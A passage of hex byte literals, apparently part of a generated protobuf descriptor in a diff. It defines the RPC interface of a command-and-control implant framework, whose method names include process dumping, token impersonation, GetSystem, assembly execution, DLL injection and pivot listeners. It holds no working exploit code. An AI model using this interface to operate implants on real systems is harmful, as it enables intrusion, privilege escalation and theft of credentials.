0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, + 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, + 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, + 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, + 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, + 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, + 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, + 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, + 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, + 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, + 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, + 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, + 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, + 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, + 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, + 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, + 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, + 0x64, 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05, + 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, + 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, + 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, + 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, + 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, + 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, + 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, + 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, + 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, + 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, + 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, + 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, + 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, + 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, + 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, + 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, + 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, + 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, + 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, + 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, + 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, + 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, + 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, + 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, + 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, + 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, + 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, + 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, + 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, + 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, + 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, + 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, + 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 